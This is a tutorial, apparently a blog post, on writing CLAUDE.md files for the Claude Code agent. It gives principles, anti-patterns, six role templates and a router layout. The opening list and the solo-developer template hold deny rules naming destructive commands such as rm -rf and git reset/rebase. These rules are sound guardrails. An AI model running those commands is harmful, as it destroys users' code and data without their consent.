&lt;li&gt;  &lt;strong&gt;Hard prohibitions:&lt;/strong&gt; No &lt;code&gt;git reset&lt;/code&gt;/&lt;code&gt;revert&lt;/code&gt;/&lt;code&gt;rebase&lt;/code&gt;/&lt;code&gt;restore&lt;/code&gt;. No &lt;code&gt;rm -rf&lt;/code&gt;. Every git operation requires user permission first.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Core beliefs:&lt;/strong&gt; Incremental progress over big-bang rewrites. Study existing patterns before implementing. Pragmatic over dogmatic.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Implementation flow:&lt;/strong&gt; Understand → Test (red) → Implement (green) → Refactor → Verify → Update TODO → Commit. After 3 failed attempts, stop and explain.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Compiler error handling:&lt;/strong&gt; Never delete code to bypass compiler errors. Correct path: error → understand root cause → research fix → apply.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every rule maps to a concrete problem that actually happened. "Never delete code to bypass compiler errors" exists because Claude literally did that.&lt;/p&gt;

&lt;h3&gt;
  
  
  Consensus From the Developer Community
&lt;/h3&gt;

&lt;p&gt;Several high-engagement posts converge on the same insights:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Start with an empty file."&lt;/strong&gt; Developer Chen Cheng (610 likes on X) advises: do not start with a template. Start blank. Every time you repeat a correction to Claude, write it into CLAUDE.md. The file you build this way has zero wasted lines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"400 lines to 150. Everything improved."&lt;/strong&gt; Axel Bitblaze (1,900 likes) used Claude Code for two months straight. His CLAUDE.md ballooned to 400 lines and Claude started randomly ignoring rules. He cut it to 150 lines and compliance jumped back up.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Apple ships CLAUDE.md internally."&lt;/strong&gt; In 2026, Apple accidentally shipped internal CLAUDE.md files in a Support App update (13,500 likes on X), confirming their teams use Claude Code for app development. Apple pushed an emergency patch to remove the files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Four Anti-Patterns Worth Memorizing
&lt;/h3&gt;

&lt;p&gt;From a 2,100-star best practices doc:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Do not front-load restrictions.&lt;/strong&gt; Add rules one by one as Claude makes actual mistakes.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Do not blindly &lt;code&gt;@&lt;/code&gt; reference files.&lt;/strong&gt; Every &lt;code&gt;@&lt;/code&gt;-referenced file loads into context every session. Write &lt;em&gt;when&lt;/em&gt; to read the file and &lt;em&gt;what&lt;/em&gt; to get from it.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Do not say only "never do X" — give the alternative.&lt;/strong&gt; "Never use Redux" leaves Claude guessing. "Never use Redux; use Zustand" resolves the ambiguity.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;If your CLAUDE.md needs half a page to explain a CLI tool, the tool needs simplification.&lt;/strong&gt; Write a bash wrapper instead of a manual in CLAUDE.md.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  What Patterns Make a CLAUDE.md Actually Work?
&lt;/h2&gt;

&lt;p&gt;After studying dozens of real configs, four patterns hold:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Effective CLAUDE.md files are short.&lt;/strong&gt; React.dev: 42 lines. Karpathy: 65 lines. Anthropic: 42 lines. overtrue: under 100 lines. None exceeded 200 lines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Effective CLAUDE.md files grow from real mistakes.&lt;/strong&gt; Boris Cherny (Claude Code core author) runs the simplest process: every time Claude makes an error, someone writes "don't do that" into CLAUDE.md. He calls this &lt;strong&gt;compound interest engineering&lt;/strong&gt; — the file improves over time, and Claude's error rate drops continuously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Effective CLAUDE.md files use two layers.&lt;/strong&gt; Global for thinking style (Karpathy's four principles). Project-level for concrete context (commands, architecture, gotchas). Two layers, zero overlap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Effective CLAUDE.md files waste no words.&lt;/strong&gt; They skip what Claude can infer from code, skip standard conventions, skip "please write quality code." The test for every line: if I delete this, will Claude actually make a worse mistake? If not, delete it.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Should You Structure a CLAUDE.md for Your Role?
&lt;/h2&gt;

&lt;p&gt;Six templates below. All follow the same structure: identity and context first, working method second, constraints embedded in each rule (not listed separately), and delivery standards last. This ordering mirrors how Claude processes context — role first, then behavior, then specifics.&lt;/p&gt;

&lt;h3&gt;
  
  
  Frontend Developer Template
&lt;/h3&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Project Name]

## Stack
- Next.js 15 App Router + React 19 + TypeScript strict (no Pages Router / any / @ts-ignore)
- Styling: Tailwind CSS v4 (no CSS Modules / styled-components / inline style objects)
- State: Zustand (no Redux)
- Package manager: pnpm (no npm / yarn)

## Commands
- `pnpm dev` — development server
- `pnpm build` — production build
- `pnpm test` — run tests
- `pnpm typecheck &amp;amp;&amp;amp; pnpm lint` — must pass before every commit

## Code Conventions
- Functional components + hooks only. Max 200 lines per file
- Props interfaces: named `{ComponentName}Props`, always exported
- Named exports everywhere (exception: page.tsx / layout.tsx)
- Commit messages: state what changed and why. Never write "refactor for better maintainability"

## Gotchas
- `src/lib/auth.ts` session logic looks simplifiable — do not touch it. It handles three edge cases; removing any one breaks production auth
- Database migration files are immutable once committed — create a new migration instead
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Backend Developer Template
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Project Name]

## Stack
- Python 3.12 + FastAPI (no Flask / Django)
- Database: PostgreSQL + SQLAlchemy async (no sync sessions)
- Package manager: uv (no pip / poetry / conda)
- Type hints: mandatory on all function signatures (params + return)

## Commands
- `uv run uvicorn app.main:app --reload` — dev server
- `uv run pytest -x -q` — tests (stop on first failure)
- `uv run ruff check . &amp;amp;&amp;amp; uv run ruff format --check .` — lint + format check
- `uv run alembic upgrade head` — apply migrations

## Architecture
- `app/` — application code; `app/api/` — route handlers; `app/models/` — SQLAlchemy models; `app/services/` — business logic
- All database queries go through services, never in route handlers directly
- Background tasks use `app/tasks/` with Celery (no inline async background)

## Conventions
- Endpoints return Pydantic response models, never raw dicts
- Errors raise custom exceptions from `app/exceptions.py` — caught by global handler
- Environment config: `app/config.py` reads from `.env` via pydantic-settings (no os.getenv scattered in code)

## Gotchas
- `alembic/versions/` migration files are immutable after merge to main
- The `/health` endpoint bypasses auth middleware intentionally — do not add auth
- Rate limiting on `/api/v1/generate` is set at 10 req/min per user — changing it requires updating both middleware and docs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Solo Developer / One-Person Company Template
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Business Name]

## Business Overview
- Product A: [name + positioning + stack] (primary revenue)
- Product B: [name] (side project)
- Content channels: Newsletter, blog, social
- Revenue: subscription + one-time purchases
- Product-specific rules live in each product's own CLAUDE.md. This file governs cross-product decisions only.

## Working Principles
- Incremental changes over big rewrites
- Use existing tools — auth/payments/email/storage go through SaaS APIs
- Change one thing at a time. Confirm it works before changing the next
- After 3 failed attempts, stop and explain what is blocking
- State your plan before executing. Wait for confirmation
- Validate before building: minimum viable test of every idea
- Priority: acquisition &amp;gt; retention &amp;gt; monetization

## Safety Boundaries
- `git reset` / `revert` / `rebase` / `rm -rf` — never execute
- Secrets go in environment variables or credential manager. Never hardcode
- Production database: no CLI write operations
- Deleting files or directories: inform and get confirmation first
- Paid operations (sending email, calling paid APIs, deploying to production): confirm first

## Decision Framework (in order)
1. Can I validate this in under 1 hour? If yes, try it now
2. Is it reversible? If yes, move fast
3. How large is the blast radius? If it only affects me, do it
4. Is there a simpler approach? If yes, switch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Content Creator Template
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Brand Name]

## Identity
- Positioning: [one sentence]
- Audience: [age range + background]
- Tone: professional but not academic, opinionated but not combative
- First person: "I" (never "the author" / "we" / "this article will show you")
- Banned words: synergy, leverage, unlock, game-changer, deep dive, paradigm shift

## Creation Workflow
1. **Topic evaluation** — answer three questions: why would the reader care, what unique angle do I bring, is the timing right
2. **Research** — finish reading before writing, never research mid-draft
3. **Outline** — list H2s first, each H2 answers one specific reader question. No drafting until outline is confirmed
4. **First draft** — prioritize completeness over polish
5. **Self-review** — for each paragraph ask "what would the reader miss if I deleted this?" For each data point ask "what is the source?"
6. **Final draft** — trim, polish, add image placement notes

## Writing Rules
- Conclusion first. Setup never exceeds 3 sentences
- Data and examples over opinions and adjectives
- Technical terms: explain once on first use, then use directly
- One idea per paragraph
- If you can say it in one sentence, do not write a paragraph

## Quality Checklist
- [ ] Readable in a single pass without re-reading
- [ ] Every claim has supporting evidence
- [ ] First three lines make a stranger want to keep reading
- [ ] Image positions are marked
- [ ] Zero banned words
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Data Analyst Template
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Project Name]

## Methodology
- Look at data before choosing methods: run descriptive statistics and distribution plots first, then select the approach
- Normality test (Shapiro-Wilk) is the fork: normal → parametric tests, non-normal → non-parametric
- Multiple comparisons require correction (Bonferroni or FDR)
- Effect sizes and confidence intervals over p-values alone
- One chart, one question

## Data Management
- Raw data: `data/raw/` (read-only, never modified)
- Processed data: `data/processed/`
- Every processing step logged in `data/processing_log.md` (what was done, how many rows affected, missing value strategy + rationale)
- Variable names: snake_case, self-explanatory (`user_age` not `ua`)
- Parameters in `config/` files, never hardcoded
- All paths relative

## Visualization
- Chart type follows data relationship: trend → line, comparison → bar, distribution → histogram/boxplot, relationship → scatter, composition → stacked bar (pie chart only with 5 or fewer categories)
- Visual parameters centralized in `config/plot_style.py`
- Scientific bar charts include error bars (label SD or SEM)
- Every chart needs: title, axis labels with units, legend

## Reporting
- APA format: `M = 3.45, SD = 1.23, t(58) = 2.41, p = .019, d = 0.82`
- State direction: "Group A scored significantly higher than Group B" not "the difference was significant"
- Decimals: 2 places for values, 1 place for percentages, consistent throughout

## Reproducibility
- Every script: header comment with input/output/purpose
- Random seed: 42 everywhere
- Dependencies locked in `pyproject.toml` managed by uv
- Anyone running `uv run python scripts/{name}.py` must get identical output
- Exploration: Jupyter notebooks. Final deliverables: `.py` scripts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Student / Beginner Template
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# My Learning Projects

## How I Want to Learn
- Explain what the code does before writing it
- Show me the simplest version first, then add complexity one layer at a time
- When I make a mistake, explain what went wrong and why — do not silently fix it
- Use comments generously in code examples
- If I ask for something beyond my current level, say so and suggest what to learn first

## My Current Stack
- Python 3.12 (learning)
- VS Code
- Git basics (commit, push, pull — I do not know rebase yet)

## Rules
- No advanced patterns I have not learned yet (no decorators, metaclasses, or async until I ask)
- Variable names must be descriptive (`student_name` not `sn`)
- Every function gets a docstring
- Suggest breaking the task into smaller steps when it gets complex

## When I Get Stuck
- Ask me what I think the error means before giving the answer
- Point me to the relevant documentation section
- If I have been stuck for 3 rounds, give me the direct answer with a full explanation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  What Do All Six Templates Share?
&lt;/h3&gt;

&lt;p&gt;Every template follows the same order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Who you are / big picture&lt;/strong&gt; — Claude understands context first&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;How you work&lt;/strong&gt; — workflow, methodology, decision framework&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Boundaries embedded in rules&lt;/strong&gt; — "use uv (no pip/poetry/conda)" packs both the do and the don't into a single line&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;What to do when stuck&lt;/strong&gt; — flag uncertainty, stop after N attempts, ask&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Delivery standard&lt;/strong&gt; — what "done" looks like&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Constraints sit inside rules rather than in a separate "prohibited" block at the top. A CLAUDE.md that opens with a wall of "never do A, never do B, never do C" signals "this user cares about me not making mistakes" rather than "here is what this project needs." Context first, constraints inline — that matches how Claude processes instructions.&lt;/p&gt;


&lt;h2&gt;
  
  
  When Should You Switch From One File to a Router Architecture?
&lt;/h2&gt;

&lt;p&gt;Small projects: one CLAUDE.md file handles everything. When rules exceed 200 lines, switch to a router pattern.&lt;/p&gt;
&lt;h3&gt;
  
  
  Single-File Pattern
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;project-root/
└── CLAUDE.md     &amp;lt;- identity + workflow + constraints + delivery standards, all here
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Works for personal projects, single-stack codebases, rule sets under 200 lines.&lt;/p&gt;

&lt;h3&gt;
  
  
  Router Pattern
&lt;/h3&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.claude/CLAUDE.md                    &amp;lt;- global: identity + cross-project thinking
project-root/
├── CLAUDE.md                          &amp;lt;- project: overview + behavior + routing table
├── .claude/rules/
│   ├── frontend.md                    &amp;lt;- lazy-loaded by path: only when editing frontend files
│   └── backend.md                     &amp;lt;- lazy-loaded by path: only when editing backend files
├── docs/
│   ├── architecture.md                &amp;lt;- referenced by @import
│   └── platform-rules/
│       ├── newsletter.md              &amp;lt;- newsletter-specific rules
│       └── youtube.md                 &amp;lt;- YouTube-specific rules
├── subdir-a/CLAUDE.md                 &amp;lt;- submodule rules (loaded on demand)
└── subdir-b/CLAUDE.md                 &amp;lt;- submodule rules (loaded on demand)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I run a knowledge base with over 100 subdirectories, each with its own CLAUDE.md. The root file is a routing table — trigger words mapped to entry paths. Claude reads the current task, finds the relevant subdirectory, and loads only those rules.&lt;/p&gt;

&lt;h3&gt;
  
  
  Router Design Rules
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Root CLAUDE.md holds three things only:&lt;/strong&gt; identity, behavioral principles, and a navigation table. No tech specifics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use trigger words for routing:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Trigger | Go read |
|---------|---------|
| frontend, components, pages | src/frontend/CLAUDE.md |
| backend, API, database | src/backend/CLAUDE.md |
| deploy, ops, monitoring | docs/ops.md |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Use &lt;code&gt;@import&lt;/code&gt; references instead of copying content:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## Architecture
@docs/architecture.md

## Coding Standards
@docs/coding-standards.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Referenced files are maintained independently. CLAUDE.md stays an index. Maximum 4 levels of nesting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use &lt;code&gt;.claude/rules/&lt;/code&gt; for conditional loading&lt;/strong&gt; — the strongest router mechanism. Add &lt;code&gt;paths:&lt;/code&gt; frontmatter so rules activate only when Claude reads matching files:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# .claude/rules/frontend-components.md
---
paths:
  - "src/components/**/*.tsx"
---

Wrap components with forwardRef.
Props interfaces must be exported.
Style with Tailwind, never inline.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Claude editing backend code never sees these frontend rules.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Do You Build a CLAUDE.md From Zero in One Week?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Day 1: Start with an empty file. Write three lines.&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Your Project Name]

Interaction language: English
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;That is it. Use Claude Code normally. Do not try to write everything at once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Days 2-4: Every time Claude frustrates you, add one rule.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Claude writes a class component? Add "functional components + hooks only." Claude uses npm? Add "package manager: pnpm (no npm / yarn)." Claude writes a 500-line function? Add "max 30 lines per function."&lt;/p&gt;

&lt;p&gt;Every rule has a clear origin — a real mistake, not a hypothetical risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;End of Week 1: Organize.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You now have 20-40 lines, all battle-tested. Group related rules. Delete rules Claude no longer violates. Check for contradictions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;After One Month: Decide on architecture.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Under 100 lines? Keep the single file. Over 200? Start splitting rules into &lt;code&gt;.claude/rules/&lt;/code&gt; and &lt;code&gt;docs/&lt;/code&gt;. CLAUDE.md becomes a routing table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ongoing: Compound interest.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every code review that catches something Claude should have known, every correction you repeat in a new session — that is a signal to add a rule. Every rule that does not improve Claude's behavior — that is a signal to delete or sharpen it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Does a Before-and-After Rewrite Look Like?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Before (typical first attempt):&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# CLAUDE.md

This is a Next.js project with TypeScript and Tailwind CSS.

Please write clean, maintainable code.
Follow best practices for React development.
Use functional components.
Make sure the code is well-tested.
Don't use any deprecated APIs.
Keep the code DRY.
Write meaningful commit messages.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Seven problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; "This is a Next.js project" — Claude sees &lt;code&gt;next.config.js&lt;/code&gt; and already knows&lt;/li&gt;
&lt;li&gt; "Please write clean, maintainable code" — unverifiable, Claude thinks all its code is clean&lt;/li&gt;
&lt;li&gt; "Follow best practices" — which ones? Claude's training data contains ten contradictory sets&lt;/li&gt;
&lt;li&gt; "Use functional components" — does not say what to avoid, so class components still appear&lt;/li&gt;
&lt;li&gt; "Make sure the code is well-tested" — which framework? which command? what is "well-tested"?&lt;/li&gt;
&lt;li&gt; "Don't use any deprecated APIs" — too vague to act on&lt;/li&gt;
&lt;li&gt; "Write meaningful commit messages" — what does "meaningful" mean?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;After:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# [Project Name]

## Stack
- Next.js 15 App Router + React 19 + TypeScript strict (no Pages Router / any / @ts-ignore)
- Styling: Tailwind CSS v4 (no CSS Modules / styled-components / inline style objects)
- State: Zustand (no Redux)
- Package manager: pnpm (no npm / yarn)

## Commands
- `pnpm dev` — development
- `pnpm build` — production build
- `pnpm test` — run tests
- `pnpm typecheck &amp;amp;&amp;amp; pnpm lint` — must pass before every commit

## Code Conventions
- Functional components + hooks. Max 200 lines per file
- Props: interface named `{ComponentName}Props`, always exported
- Named exports (exception: page.tsx / layout.tsx)
- Commit messages: state what file changed and why. Never "refactor for better maintainability"

## Gotchas
- `src/lib/auth.ts` session logic looks simplifiable — do not touch. Handles three edge cases; removing any one breaks production
- Migration files are immutable after commit — always create new migrations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Every line is specific and verifiable. "No Redux; use Zustand" beats "follow best practices." The "Gotchas" section — learned from Anthropic's own approach — predicts where Claude will make mistakes and blocks them in advance.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Are the Six Most Common CLAUDE.md Mistakes?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Too long
&lt;/h3&gt;

&lt;p&gt;Past 300 lines, Claude drops rules at random. The context window fills with irrelevant content and useful instructions get buried. Periodically audit: for each rule, ask "if I delete this, will Claude's output actually get worse?" Uncertain? Delete it and observe for a week.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Duplicating linter work
&lt;/h3&gt;

&lt;p&gt;Indent width, single vs. double quotes — ESLint, Prettier, and Ruff handle these faster and more reliably than Claude. Writing formatting rules in CLAUDE.md pays AI prices for linter work. Delegate formatting to tools and run them via Hooks.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Contradicting rules
&lt;/h3&gt;

&lt;p&gt;One section says "use default export," another says "ban default export." Claude picks one at random. Behavior becomes unpredictable, and you blame Claude for what is actually a config bug. Declare each rule exactly once.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Stale content
&lt;/h3&gt;

&lt;p&gt;CLAUDE.md still says "Next.js 13 app directory" when the project runs Next.js 15. Claude writes code against stale information — harder to debug than having no CLAUDE.md at all. Commit CLAUDE.md to Git and review it during dependency upgrades.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Untouched /init output
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;/init&lt;/code&gt; generated CLAUDE.md fits every project, which means it fits none well. Use it as a starting point, then delete every generic line and add project-specific context.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Writing documentation instead of rules
&lt;/h3&gt;

&lt;p&gt;Three paragraphs explaining the history of why you chose FastAPI over Flask. Claude does not need your story. It needs "use FastAPI, no Flask." Long explanations go in &lt;code&gt;docs/&lt;/code&gt;. CLAUDE.md links to them.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Do CLAUDE.md, Skills, and Hooks Work Together?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6y05iscd8ho99hzmjvcw.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6y05iscd8ho99hzmjvcw.webp" alt="How Do CLAUDE.md, Skills, and Hooks Work Together? technical diagram for CLAUDE.md Best Practices" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Claude Code has three configuration mechanisms, each handling a different type of instruction:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;What it holds&lt;/th&gt;
&lt;th&gt;Trigger&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CLAUDE.md&lt;/td&gt;
&lt;td&gt;Factual rules ("always use 2-space indent")&lt;/td&gt;
&lt;td&gt;Loads automatically every session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skills (&lt;code&gt;.claude/skills/&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Multi-step procedures ("5-step production deploy")&lt;/td&gt;
&lt;td&gt;Manual trigger (&lt;code&gt;/skill-name&lt;/code&gt;) or auto-match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hooks (&lt;code&gt;.claude/settings.json&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Deterministic gates ("run Prettier after every file write")&lt;/td&gt;
&lt;td&gt;Executes automatically before/after tool calls&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;CLAUDE.md governs "how you should work." Skills govern "what specific steps to follow." Hooks govern "this happens automatically regardless of what you think."&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If Claude keeps forgetting something (like running format after writing code), adding the rule ten more times to CLAUDE.md will not help. Make it a Hook. Hooks are scripts that execute automatically — there is no "ignore" path. CLAUDE.md is a soft constraint. Hooks are hard constraints.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Quick Audit Checklist
&lt;/h2&gt;

&lt;p&gt;Run through this after writing or updating your CLAUDE.md:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  [ ] Under 200 lines (official recommendation)&lt;/li&gt;
&lt;li&gt;  [ ] Only contains info Claude cannot infer from code&lt;/li&gt;
&lt;li&gt;  [ ] No rules duplicating linter / formatter&lt;/li&gt;
&lt;li&gt;  [ ] No contradicting rules&lt;/li&gt;
&lt;li&gt;  [ ] Build, test, and lint commands are complete and accurate&lt;/li&gt;
&lt;li&gt;  [ ] Architecture decisions include rationale (not just "use X" but "why X")&lt;/li&gt;
&lt;li&gt;  [ ] Common gotchas are listed&lt;/li&gt;
&lt;li&gt;  [ ] Committed to Git (project-level)&lt;/li&gt;
&lt;li&gt;  [ ] Personal preferences live in CLAUDE.local.md (not in Git)&lt;/li&gt;
&lt;li&gt;  [ ] Frequently changing info is linked, not inlined&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-complete-guide-2026/" rel="noopener noreferrer"&gt;Claude Code Complete Guide 2026&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;The complete Claude Code reference guide&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;How to Write CLAUDE.md&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;CLAUDE.md fundamentals and syntax&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-hooks-tutorial/" rel="noopener noreferrer"&gt;Claude Code Hooks Tutorial&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Combine templates with lifecycle hooks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-skills/" rel="noopener noreferrer"&gt;Best Claude Code Skills 2026&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Templates optimized for skill projects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/codex-best-practices/" rel="noopener noreferrer"&gt;Codex Best Practices Guide&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Compare with Codex best practices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/agent-persona-file-first/" rel="noopener noreferrer"&gt;Agent Personas Via The File-First Method&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Ready-to-Use Prompt: Author a Tight CLAUDE.md for Your Role
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What this does:&lt;/strong&gt; Matches your role to one of six templates, cuts everything Claude can already infer from the codebase, applies Karpathy's four principles, places the file in the right scope tier, and writes it in the Stack / Commands / Conventions / Gotchas structure.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Based on:&lt;/strong&gt; CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates (2026) — &lt;a href="https://aiworkflowpro.com/claude-md-best-practices/" rel="noopener noreferrer"&gt;https://aiworkflowpro.com/claude-md-best-practices/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time to run:&lt;/strong&gt; ~4 minutes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy this prompt into Claude Code, ChatGPT, or any AI assistant:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROLE: You are a CLAUDE.md Author. Your job: write the tightest CLAUDE.md that survives across sessions — role-matched, inference-cut, principle-led, and never boilerplate.

CONTEXT — CLAUDE.md AUTHORING METHOD:
